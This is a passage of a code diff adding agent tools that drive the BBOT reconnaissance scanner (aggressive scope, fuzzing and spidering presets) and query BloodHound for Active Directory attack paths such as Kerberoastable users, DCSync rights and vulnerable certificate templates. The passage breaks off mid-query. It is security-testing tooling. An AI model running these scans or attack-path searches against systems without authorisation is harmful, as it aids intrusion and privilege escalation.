omit_queries: + - SRV:mail.protection.outlook.com + - CNAME:mail.protection.outlook.com + - TXT:mail.protection.outlook.com + +### WEB ### + +web: + # HTTP proxy + http_proxy: http://127.0.0.1:8080 + # Web user-agent + user_agent: dn.bbot-user-agent + # Set the maximum number of HTTP links that can be followed in a row (0 == no spidering allowed) + spider_distance: 0 + # Set the maximum directory depth for the web spider + spider_depth: 1 + # Set the maximum number of links that can be followed per page + spider_links_per_page: 25 + # HTTP timeout (for Python requests; API calls, etc.) + http_timeout: 10 + # HTTP timeout (for httpx) + httpx_timeout: 5 + # Custom HTTP headers (e.g. cookies, etc.) + # in the format { "Header-Key": "header_value" } + # These are attached to all in-scope HTTP requests + # Note that some modules (e.g. github) may end up sending these to out-of-scope resources + http_headers: {} + # How many times to retry API requests + # Note that this is a separate mechanism on top of HTTP retries + # which will retry API requests that don't return a successful status code + api_retries: 2 + # HTTP retries - try again if the raw connection fails + http_retries: 1 + # HTTP retries (for httpx) + httpx_retries: 1 + # Default sleep interval when rate limited by 429 (and retry-after isn't provided) + 429_sleep_interval: 30 + # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided) + 429_max_sleep_interval: 60 + # Enable/disable debug messages for web requests/responses + debug: false + # Maximum number of HTTP redirects to follow + http_max_redirects: 5 + # Whether to verify SSL certificates + ssl_verify: false + +### ENGINE ### + +engine: + debug: false + +# Tool dependencies +deps: + ffuf: + version: "2.1.0" + # How to handle installation of module dependencies + # Choices are: + # - abort_on_failure (default) - if a module dependency fails to install, abort the scan + # - retry_failed - try again to install failed dependencies + # - ignore_failed - run the scan regardless of what happens with dependency installation + # - disable - completely disable BBOT's dependency system (you are responsible for installing tools, pip packages, etc.) + behavior: abort_on_failure + +### ADVANCED OPTIONS ### + +# Load BBOT modules from these custom paths +module_dirs: [] + +# maximum runtime in seconds for each module's handle_event() is 60 minutes +# when the timeout is reached, the offending handle_event() will be cancelled and the module will move on to the next event +module_handle_event_timeout: 3600 +# handle_batch() default timeout is 2 hours +module_handle_batch_timeout: 7200 + +# Infer certain events from others, e.g. IPs from IP ranges, DNS_NAMEs from URLs, etc. +speculate: True +# Passively search event data for URLs, hostnames, emails, etc. +excavate: True +# Summarize activity at the end of a scan +aggregate: True +# DNS resolution, wildcard detection, etc. +dnsresolve: True +# Cloud provider tagging +cloudcheck: True + +# Strip querystring from URLs by default +url_querystring_remove: True +# When query string is retained, by default collapse parameter values down to a single value per parameter +url_querystring_collapse: True + +# Completely ignore URLs with these extensions +url_extension_blacklist: + # images + - png + - jpg + - bmp + - ico + - jpeg + - gif + - svg + - webp + # web/fonts + - css + - woff + - woff2 + - ttf + - eot + - sass + - scss + # audio + - mp3 + - m4a + - wav + - flac + # video + - mp4 + - mkv + - avi + - wmv + - mov + - flv + - webm +# Distribute URLs with these extensions only to httpx (these are omitted from output) +url_extension_httpx_only: + - js + +# These url extensions are almost always static, so we exclude them from modules that fuzz things +url_extension_static: + - pdf + - doc + - docx + - xls + - xlsx + - ppt + - pptx + - txt + - csv + - xml + - yaml + - ini + - log + - conf + - cfg + - env + - md + - rtf + - tiff + - bmp + - jpg + - jpeg + - png + - gif + - svg + - ico + - mp3 + - wav + - flac + - mp4 + - mov + - avi + - mkv + - webm + - zip + - tar + - gz + - bz2 + - 7z + - rar + +parameter_blacklist: + - __VIEWSTATE + - __EVENTARGUMENT + - __EVENTVALIDATION + - __EVENTTARGET + - __EVENTARGUMENT + - __VIEWSTATEGENERATOR + - __SCROLLPOSITIONY + - __SCROLLPOSITIONX + - ASP.NET_SessionId + - PHPSESSID + - __cf_bm + - f5_cspm + +parameter_blacklist_prefixes: + - TS01 + - BIGipServer + - incap_ + - visid_incap_ + - AWSALB + - utm_ + - ApplicationGatewayAffinity + - JSESSIONID + - ARRAffinity + +# Don't output these types of events (they are still distributed to modules) +omit_event_types: + - HTTP_RESPONSE + - RAW_TEXT + - URL_UNVERIFIED + - DNS_NAME_UNRESOLVED + - FILESYSTEM + - WEB_PARAMETER + - RAW_DNS_RECORD + # - IP_ADDRESS + +# Custom interactsh server settings +interactsh_server: null +interactsh_token: null +interactsh_disable: false \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/custom/config/dns_aggressive.yml b/dreadnode/agent/tools/bbot/custom/config/dns_aggressive.yml new file mode 100644 index 00000000..e35663dd --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/dns_aggressive.yml @@ -0,0 +1,43 @@ +### AGGRESSIVE DNS CONFIG ### +# This config maximizes DNS enumeration and resolution capabilities + +dns: + # Maximum DNS resolution settings + disable: false + minimal: false + # High thread counts for fast DNS operations + threads: 100 + brute_threads: 5000 + # Extended DNS search distance + search_distance: 3 + # Higher runaway limit for complex DNS chains + runaway_limit: 10 + # Longer timeout for comprehensive resolution + timeout: 15 + # More retries for thorough enumeration + retries: 3 + # Disabled wildcard detection limits + wildcard_disable: false + wildcard_ignore: [] + # Maximum wildcard tests for accuracy + wildcard_tests: 25 + # Higher abort threshold for persistent scanning + abort_threshold: 100 + # Show all PTR records + filter_ptrs: false + # Enable DNS debug for troubleshooting + debug: false + # Clear omit queries to allow all DNS types + omit_queries: [] + +scope: + # Allow broader scope for DNS discovery + strict: false + report_distance: 2 + search_distance: 2 + +# Enable all DNS-related processing +speculate: True +excavate: True +dnsresolve: True +cloudcheck: True \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/custom/config/global.yml b/dreadnode/agent/tools/bbot/custom/config/global.yml new file mode 100644 index 00000000..756d5093 --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/global.yml @@ -0,0 +1,40 @@ +### WEB ### + +web: + # HTTP proxy + http_proxy: http://127.0.0.1:8080 + # Web user-agent + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97 + # Set the maximum number of HTTP links that can be followed in a row (0 == no spidering allowed) + spider_distance: 0 + # Set the maximum directory depth for the web spider + spider_depth: 1 + # Set the maximum number of links that can be followed per page + spider_links_per_page: 25 + # HTTP timeout (for Python requests; API calls, etc.) + http_timeout: 10 + # HTTP timeout (for httpx) + httpx_timeout: 5 + # Custom HTTP headers (e.g. cookies, etc.) + # in the format { "Header-Key": "header_value" } + # These are attached to all in-scope HTTP requests + # Note that some modules (e.g. github) may end up sending these to out-of-scope resources + http_headers: {} + # How many times to retry API requests + # Note that this is a separate mechanism on top of HTTP retries + # which will retry API requests that don't return a successful status code + api_retries: 2 + # HTTP retries - try again if the raw connection fails + http_retries: 1 + # HTTP retries (for httpx) + httpx_retries: 1 + # Default sleep interval when rate limited by 429 (and retry-after isn't provided) + 429_sleep_interval: 30 + # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided) + 429_max_sleep_interval: 60 + # Enable/disable debug messages for web requests/responses + debug: false + # Maximum number of HTTP redirects to follow + http_max_redirects: 5 + # Whether to verify SSL certificates + ssl_verify: false diff --git a/dreadnode/agent/tools/bbot/custom/config/scope_aggressive.yml b/dreadnode/agent/tools/bbot/custom/config/scope_aggressive.yml new file mode 100644 index 00000000..ae30c565 --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/scope_aggressive.yml @@ -0,0 +1,45 @@ +### SCOPE AGGRESSIVE CONFIG ### +# This config expands scope for more aggressive reconnaissance + +scope: + # Allow scanning of subdomains and related domains + strict: false + # Show events up to distance-1 (1 hop from target) + report_distance: 1 + # Search further out from main scope + search_distance: 1 + +web: + # Allow deeper web spidering + spider_distance: 2 + spider_depth: 3 + spider_links_per_page: 50 + # Increase timeouts for more thorough scanning + http_timeout: 20 + httpx_timeout: 15 + # More aggressive retry behavior + api_retries: 3 + http_retries: 2 + httpx_retries: 2 + # Higher redirect following + http_max_redirects: 10 + +dns: + # More aggressive DNS resolution + search_distance: 2 + # More DNS threads for faster resolution + threads: 50 + brute_threads: 2000 + # More retries for thorough DNS enumeration + retries: 2 + # Higher timeout for slower resolvers + timeout: 10 + # More wildcard tests for accuracy + wildcard_tests: 15 + +# Enable more advanced processing +speculate: True +excavate: True +aggregate: True +dnsresolve: True +cloudcheck: True \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/custom/config/scope_respectful.yml b/dreadnode/agent/tools/bbot/custom/config/scope_respectful.yml new file mode 100644 index 00000000..6b411dc9 --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/scope_respectful.yml @@ -0,0 +1,48 @@ +### SCOPE RESPECTFUL CONFIG ### +# This config limits scope for respectful/careful reconnaissance + +scope: + # Only scan exact targets provided + strict: true + # Only show in-scope events + report_distance: 0 + # Don't search beyond main targets + search_distance: 0 + +web: + # Minimal web spidering + spider_distance: 0 + spider_depth: 1 + spider_links_per_page: 10 + # Conservative timeouts + http_timeout: 5 + httpx_timeout: 3 + # Minimal retry behavior to avoid hammering + api_retries: 1 + http_retries: 0 + httpx_retries: 0 + # Limited redirects + http_max_redirects: 3 + # Longer delays when rate limited + 429_sleep_interval: 60 + 429_max_sleep_interval: 300 + +dns: + # Conservative DNS resolution + search_distance: 0 + # Fewer DNS threads + threads: 10 + brute_threads: 100 + # Single retry only + retries: 0 + # Standard timeout + timeout: 3 + # Fewer wildcard tests + wildcard_tests: 5 + +# Minimal processing for lighter footprint +speculate: False +excavate: False +aggregate: True +dnsresolve: True +cloudcheck: False \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/custom/presets/web/footprint.yml b/dreadnode/agent/tools/bbot/custom/presets/web/footprint.yml new file mode 100644 index 00000000..29f0bdb6 --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/presets/web/footprint.yml @@ -0,0 +1,40 @@ +description: Surface as much web footprint as possible + +# Usage +# uv run python examples/agents/bbot/agent.py presets +# uv run python examples/agents/bbot/agent.py scan --targets /path/to/file.txt --presets custom_footprint + +include: + - spider-intense + - nuclei-intense + - dirbust-heavy + +modules: + +config: + modules: + ffuf: + depth: 3 + lines: 5000 + extensions: + - php + - asp + - aspx + - ashx + - asmx + - jsp + - jspx + - cfm + - zip + - conf + - config + - xml + - json + - yml + - yaml + # emit URLs from wayback + wayback: + urls: True + +flags: + - web-paramminer \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml b/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml new file mode 100644 index 00000000..e857ea2a --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml @@ -0,0 +1,49 @@ +description: Run all WEB_PARAMETER modules for parameter tampering and pollution + +# Recommended to run after an initial lightfuzz-heavy module run with a list of URLs to check params + +# Usage +# uv run python examples/agents/bbot/agent.py presets +# uv run python examples/agents/bbot/agent.py scan --targets /path/to/file.txt --presets web-thorough --presets param_fuzz_heavy + +include: + - spider-intense + +modules: + - paramminer_cookies + - paramminer_getparams + - paramminer_headers + +config: + modules: + ffuf: + depth: 3 + lines: 5000 + extensions: + - php + - asp + - aspx + - ashx + - asmx + - jsp + - jspx + - cfm + - zip + - conf + - config + - xml + - json + - yml + - yaml + # emit URLs from wayback + wayback: + urls: True + web: + http_proxy: http://127.0.0.1:8080 + username: $PARAM_FUZZ_HEAVY_USERNAME + password: $PARAM_FUZZ_HEAVY_PASSWORD +dns: + wildcard_tests: 20 + +flags: + - web-paramminer \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py new file mode 100644 index 00000000..894c9724 --- /dev/null +++ b/dreadnode/agent/tools/bbot/tool.py @@ -0,0 +1,105 @@ +import typing as t + +from bbot import Preset, Scanner +from pydantic import BaseModel, Field +from rich.console import Console + +from dreadnode.agent.tools.base import Toolset + +from .utils import events_table, flags_table, modules_table, presets_table + +console = Console() + + +class BBotArgs(BaseModel): + target: str = Field(default_factory=str, description="Target to scan with BBOT") + modules: list[str] = Field(default_factory=list, description="Modules to run with BBOT") + presets: list[str] = Field(default_factory=list, description="Presets to use with BBOT") + flags: list[str] = Field(default_factory=list, description="Flags to enable module groups") + config: dict[str, t.Any] = Field(default_factory=dict, description="Custom config options") + extra_args: list[str] = Field( + default_factory=list, + description=( + "Additional command-line arguments for BBOT. " + "This allows for advanced usage and customization." + ), + ) + + +class BBotTool(Toolset): + @staticmethod + def get_presets() -> None: + """Return the presets available in the BBOT Agent.""" + + preset = Preset(_log=True, name="bbot_cli_main") + console.print(presets_table(preset)) + + @staticmethod + def get_modules() -> None: + """Return the modules available in the BBOT Agent.""" + preset = Preset(_log=True, name="bbot_cli_main") + console.print(modules_table(preset.module_loader)) + + @staticmethod + def get_flags() -> None: + """Return the output modules available in the BBOT Agent.""" + preset = Preset(_log=True, name="bbot_cli_main") + console.print(flags_table(preset.module_loader)) + + @staticmethod + def get_events() -> None: + """Return the flags available in the BBOT Agent.""" + preset = Preset(_log=True, name="bbot_cli_main") + console.print(events_table(preset.module_loader)) + + def run( + self, + target: str, + modules: list[str] | None = None, + presets: list[str] | None = None, + flags: list[str] | None = None, + config: dict[str, t.Any] | None = None, + extra_args: list[str] | None = None, + ) -> t.AsyncGenerator[t.Any, None]: + """ + Executes a BBOT scan against the specified targets. + + This is the primary action tool. It assembles and runs a `bbot` command. + + Args: + targets: REQUIRED. A list of targets to scan (e.g., ['example.com']). + modules: A list of modules to run (e.g., ['httpx', 'nuclei']). + presets: A list of presets to use (e.g., ['subdomain-enum', 'web-basic']). + flags: A list of flags to enable module groups (e.g., ['passive', 'safe']). + config: A dictionary of custom config options (e.g., {"modules.httpx.timeout": 5}). + extra_args: A list of strings for any other `bbot` CLI flags. + For example: ['--strict-scope', '--proxy http://127.0.0.1:8080'] + + Returns: + An async generator that yields JSON-formatted scan events. + """ + args = BBotArgs( + target=target, + modules=modules or [], + presets=presets or [], + flags=flags or [], + config=config or {}, + extra_args=extra_args or [], + ) + return self._run_scan(args) + + async def _run_scan(self, args: BBotArgs) -> t.AsyncGenerator[t.Any, None]: + """The internal scan logic that operates on a validated BBotArgs model.""" + if not args.target: + raise ValueError("At least one target is required to run a scan.") + + self._scan = Scanner( + *[args.target], + modules=args.modules, + presets=args.presets, + flags=args.flags, + config=args.config, + ) + + async for event in self._scan.async_start(): + yield event.json(siem_friendly=True) diff --git a/dreadnode/agent/tools/bbot/utils.py b/dreadnode/agent/tools/bbot/utils.py new file mode 100644 index 00000000..a4846aa7 --- /dev/null +++ b/dreadnode/agent/tools/bbot/utils.py @@ -0,0 +1,161 @@ +import typing as t + +from rich.table import Table + + +def modules_table( + module_loader: t.Any, + modules: list[str] | None = None, + mod_type: str | None = None, + *, + include_author: bool = False, + include_created_date: bool = False, +) -> Table: + """ + Creates and prints a rich table of modules. + """ + table = Table(title="Modules Overview") + + header = [ + "Module", + "Type", + "Needs API Key", + "Description", + "Flags", + "Consumed Events", + "Produced Events", + ] + if include_author: + header.append("Author") + if include_created_date: + header.append("Created Date") + + table.add_column("Module", style="cyan", no_wrap=True) + table.add_column("Type", style="magenta") + table.add_column("Needs API Key", justify="center") + table.add_column("Description", width=30) + table.add_column("Flags") + table.add_column("Consumed Events") + table.add_column("Produced Events") + if include_author: + table.add_column("Author", style="green") + if include_created_date: + table.add_column("Created Date") + + for module_name, preloaded in module_loader.filter_modules(modules, mod_type): + module_type = preloaded["type"] + consumed_events = sorted(preloaded.get("watched_events", [])) + produced_events = sorted(preloaded.get("produced_events", [])) + flags = sorted(preloaded.get("flags", [])) + meta = preloaded.get("meta", {}) + api_key_required = "Yes" if meta.get("auth_required", False) else "No" + description = meta.get("description", "") + + row_data = [ + module_name, + module_type, + api_key_required, + description, + ", ".join(flags), + ", ".join(consumed_events), + ", ".join(produced_events), + ] + + if include_author: + author = meta.get("author", "") + row_data.append(author) + if include_created_date: + created_date = meta.get("created_date", "") + row_data.append(created_date) + + table.add_row(*row_data) + + return table + + +def presets_table(module_loader: t.Any, *, include_modules: bool = True) -> Table: + """ + Prints a rich table of all available presets. + """ + table = Table(title="Available Presets") + + # Define the columns and their styles + table.add_column("Preset", style="cyan", no_wrap=True) + table.add_column("Category", style="magenta") + table.add_column("Description", width=40) + table.add_column("# Modules", justify="right", style="green") + + if include_modules: + table.add_column("Modules", style="yellow") + + for loaded_preset, category, preset_path, original_file in module_loader.all_presets.values(): + baked_preset = loaded_preset.bake() + num_modules = f"{len(baked_preset.scan_modules):,}" + + row_data = [ + baked_preset.name, + category, + baked_preset.description, + num_modules, + ] + + if include_modules: + modules_str = ", ".join(sorted(baked_preset.scan_modules)) + row_data.append(modules_str) + + table.add_row(*row_data) + + return table + + +def flags_table(module_loader: t.Any, flags: list[str] | None = None) -> Table: + """ + Prints a rich table of flags, their descriptions, and associated modules. + """ + from bbot.core.modules import flag_descriptions + + table = Table(title="Module Flags") + + # Define columns + table.add_column("Flag", style="cyan", no_wrap=True) + table.add_column("# Modules", justify="right", style="green") + table.add_column("Description", width=40) + table.add_column("Modules", style="yellow") + + _flags = module_loader.flags(flags=flags) + for flag, modules in _flags: + description = flag_descriptions.get(flag, "") + table.add_row(flag, f"{len(modules)}", description, ", ".join(sorted(modules))) + + return table + + +def events_table(module_loader: t.Any) -> Table: + """ + Prints a rich table of events and the modules that consume or produce them. + """ + table = Table(title="Module Event Interactions") + + # Define columns + table.add_column("Event Type", style="cyan", no_wrap=True) + table.add_column("# Consuming", justify="right", style="yellow") + table.add_column("# Producing", justify="right", style="magenta") + table.add_column("Consuming Modules", style="yellow") + table.add_column("Producing Modules", style="magenta") + + consuming_events, producing_events = module_loader.events() + all_event_types = sorted(set(consuming_events).union(set(producing_events))) + + for event_type in all_event_types: + consuming_modules = sorted(consuming_events.get(event_type, [])) + producing_modules = sorted(producing_events.get(event_type, [])) + + table.add_row( + event_type, + str(len(consuming_modules)), + str(len(producing_modules)), + ", ".join(consuming_modules), + ", ".join(producing_modules), + ) + + return table diff --git a/dreadnode/agent/tools/bloodhound/__init__.py b/dreadnode/agent/tools/bloodhound/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/bloodhound/tool.py b/dreadnode/agent/tools/bloodhound/tool.py new file mode 100644 index 00000000..243b8b89 --- /dev/null +++ b/dreadnode/agent/tools/bloodhound/tool.py @@ -0,0 +1,898 @@ +import os +import typing as t + +import aiohttp +from loguru import logger +from neo4j import GraphDatabase +from rich.console import Console + +from dreadnode.agent.tools import Toolset, tool_method + +# BloodHound & Neo4j connection details +BLOODHOUND_URL = os.getenv("BLOODHOUND_URL", "localhost:8080") +BLOODHOUND_USERNAME = os.getenv("BLOODHOUND_USERNAME", "admin") +BLOODHOUND_PASSWORD = os.getenv("BLOODHOUND_PASSWORD", "bloodhound") +BLOODHOUND_NEO4J_URL = os.getenv("BLOODHOUND_NEO4J_URL", "bolt://localhost:7687") +BLOODHOUND_NEO4J_USERNAME = os.getenv("BLOODHOUND_NEO4J_USERNAME", "neo4j") +BLOODHOUND_NEO4J_PASSWORD = os.getenv("BLOODHOUND_NEO4J_PASSWORD", "bloodhoundcommunityedition") + +console = Console() + + +class BloodhoundTool(Toolset): + """Agent Tool API for BloodHound Server""" + + def __init__( + self, + url: str = BLOODHOUND_URL, + username: str = BLOODHOUND_USERNAME, + password: str = BLOODHOUND_PASSWORD, + neo4j_url: str = BLOODHOUND_NEO4J_URL, + neo4j_username: str = BLOODHOUND_NEO4J_USERNAME, + neo4j_password: str = BLOODHOUND_NEO4J_PASSWORD, + ): + self.config = { + url: url, + username: username, + password: password, + neo4j_url: neo4j_url, + neo4j_username: neo4j_username, + neo4j_password: neo4j_password, + } + + async def initialize(self) -> None: + """initialize connection to BloodHound server""" + + self._graph_driver = GraphDatabase.driver( + self.config["neo4j_url"], + auth=(self.config["neo4j_username"], self.config["neo4j_password"]), + encrypted=False, + ) + + if await self._api_authenticate() is None: + raise Warning("Could not authenticate to Bloodhound REST API") + + async def _api_authenticate(self) -> None: + """authenticate to Bloodhound API and get access token to use for REST API requests""" + + url = f"http://{self.config['url']}/api/v2/login" + auth_data = { + "login_method": "secret", + "username": self.config["username"], + "secret": self.config["password"], + } + auth_token = None + async with ( + aiohttp.ClientSession() as session, + session.post(url=url, json=auth_data) as resp, + ): + auth_token = await resp.json() + + if auth_token is None or auth_token.get("data", None) is None: + logger.error("Authentication to Bloodhound REST API failed") + return + + self._api_auth_token = auth_token["data"] + + async def query_bloodhound(self, query: str) -> dict[str, t.Any]: + databases = ["neo4j", "bloodhound"] + last_error = None + + for db in databases: + try: + with self._graph_driver.session(database=db) as session: + result = session.run(query) + data = [record.data() for record in result] + logger.info(f"Query successful on database '{db}'") + return {"success": True, "data": data} + except Exception as e: + last_error = e + logger.debug(f"Query failed on database '{db}': {e!s}") + continue + + logger.error(f"Query failed on all databases. Last error: {last_error!s}") + return {"success": False, "error": str(last_error)} + + # Domain Information + @tool_method() + async def find_all_domain_admins(self) -> dict[str, t.Any]: + query = """ + MATCH p = (t:Group)<-[:MemberOf*1..]-(a) + WHERE (a:User or a:Computer) and t.objectid ENDS WITH '-512' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def map_domain_trusts(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Domain)-[:TrustedBy]->(:Domain) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_tier_zero_locations(self) -> dict[str, t.Any]: + query = """ + MATCH p = (t:Base)<-[:Contains*1..]-(:Domain) + WHERE t.highvalue = true + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def map_ou_structure(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Domain)-[:Contains*1..]->(:OU) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Dangerous Privileges + @tool_method() + async def find_dcsync_privileges(self) -> dict[str, t.Any]: + query = """ + MATCH p=(:Base)-[:DCSync|AllExtendedRights|GenericAll]->(:Domain) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_foreign_group_memberships(self) -> dict[str, t.Any]: + query = """ + MATCH p=(s:Base)-[:MemberOf]->(t:Group) + WHERE s.domainsid<>t.domainsid + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_domain_users_local_admins(self) -> dict[str, t.Any]: + query = """ + MATCH p=(s:Group)-[:AdminTo]->(:Computer) + WHERE s.objectid ENDS WITH '-513' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_domain_users_laps_readers(self) -> dict[str, t.Any]: + query = """ + MATCH p=(s:Group)-[:AllExtendedRights|ReadLAPSPassword]->(:Computer) + WHERE s.objectid ENDS WITH '-513' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_domain_users_high_value_paths(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s:Group)-[r*1..]->(t)) + WHERE t.highvalue = true AND s.objectid ENDS WITH '-513' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_domain_users_workstation_rdp(self) -> dict[str, t.Any]: + query = """ + MATCH p=(s:Group)-[:CanRDP]->(t:Computer) + WHERE s.objectid ENDS WITH '-513' AND NOT toUpper(t.operatingsystem) CONTAINS 'SERVER' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_domain_users_server_rdp(self) -> dict[str, t.Any]: + query = """ + MATCH p=(s:Group)-[:CanRDP]->(t:Computer) + WHERE s.objectid ENDS WITH '-513' AND toUpper(t.operatingsystem) CONTAINS 'SERVER' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_domain_users_privileges(self) -> dict[str, t.Any]: + query = """ + MATCH p=(s:Group)-[r]->(:Base) + WHERE s.objectid ENDS WITH '-513' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_domain_admin_non_dc_logons(self) -> dict[str, t.Any]: + query = """ + MATCH (s)-[:MemberOf*0..]->(g:Group) + WHERE g.objectid ENDS WITH '-516' + WITH COLLECT(s) AS exclude + MATCH p = (c:Computer)-[:HasSession]->(:User)-[:MemberOf*1..]->(g:Group) + WHERE g.objectid ENDS WITH '-512' AND NOT c IN exclude + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Kerberos Interaction + @tool_method() + async def find_kerberoastable_tier_zero(self) -> dict[str, t.Any]: + query = """ + MATCH (u:User) + WHERE u.hasspn=true + AND u.enabled = true + AND NOT u.objectid ENDS WITH '-502' + AND NOT u.gmsa = true + AND NOT u.msa = true + AND u.highvalue = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_all_kerberoastable_users(self) -> dict[str, t.Any]: + query = """ + MATCH (u:User) + WHERE u.hasspn=true + AND u.enabled = true + AND NOT u.objectid ENDS WITH '-502' + AND NOT u.gmsa = true + AND NOT u.msa = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_kerberoastable_most_admin(self) -> dict[str, t.Any]: + query = """ + MATCH (u:User) + WHERE u.hasspn = true + AND u.enabled = true + AND NOT u.objectid ENDS WITH '-502' + AND NOT u.gmsa = true + AND NOT u.msa = true + MATCH (u)-[:MemberOf|AdminTo*1..]->(c:Computer) + WITH DISTINCT u, COUNT(c) AS adminCount + RETURN u + ORDER BY adminCount DESC + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_asreproast_users(self) -> dict[str, t.Any]: + query = """ + MATCH (u:User) + WHERE u.dontreqpreauth = true + AND u.enabled = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + # Shortest Paths + @tool_method() + async def find_shortest_paths_unconstrained_delegation(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s)-[r*1..]->(t:Computer)) + WHERE t.unconstraineddelegation = true AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_paths_from_kerberoastable_to_da(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s:User)-[r*1..]->(t:Group)) + WHERE s.hasspn=true + AND s.enabled = true + AND NOT s.objectid ENDS WITH '-502' + AND NOT s.gmsa = true + AND NOT s.msa = true + AND t.objectid ENDS WITH '-512' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_shortest_paths_to_tier_zero(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s)-[r*1..]->(t)) + WHERE t.highvalue = true AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_paths_from_domain_users_to_tier_zero(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s:Group)-[r*1..]->(t)) + WHERE t.highvalue = true AND s.objectid ENDS WITH '-513' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_shortest_paths_to_domain_admins(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((t:Group)<-[r*1..]-(s:Base)) + WHERE t.objectid ENDS WITH '-512' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_paths_from_owned_objects(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s:Base)-[r*1..]->(t:Base)) + WHERE s.owned = true AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Active Directory Certificate Services + @tool_method() + async def find_pki_hierarchy(self) -> dict[str, t.Any]: + query = """ + MATCH p=()-[:HostsCAService|IssuedSignedBy|EnterpriseCAFor|RootCAFor|TrustedForNTAuth|NTAuthStoreFor*..]->(:Domain) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_public_key_services(self) -> dict[str, t.Any]: + query = """ + MATCH p = (c:Container)-[:Contains*..]->(:Base) + WHERE c.distinguishedname starts with 'CN=PUBLIC KEY SERVICES,CN=SERVICES,CN=CONFIGURATION,DC=' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_certificate_enrollment_rights(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_esc1_vulnerable_templates(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + WHERE ct.enrolleesuppliessubject = True + AND ct.authenticationenabled = True + AND ct.requiresmanagerapproval = False + AND (ct.authorizedsignatures = 0 OR ct.schemaversion = 1) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_esc2_vulnerable_templates(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(c:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + WHERE c.requiresmanagerapproval = false + AND (c.effectiveekus = [''] OR '2.5.29.37.0' IN c.effectiveekus) + AND (c.authorizedsignatures = 0 OR c.schemaversion = 1) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_enrollment_agent_templates(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + WHERE '1.3.6.1.4.1.311.20.2.1' IN ct.effectiveekus + OR '2.5.29.37.0' IN 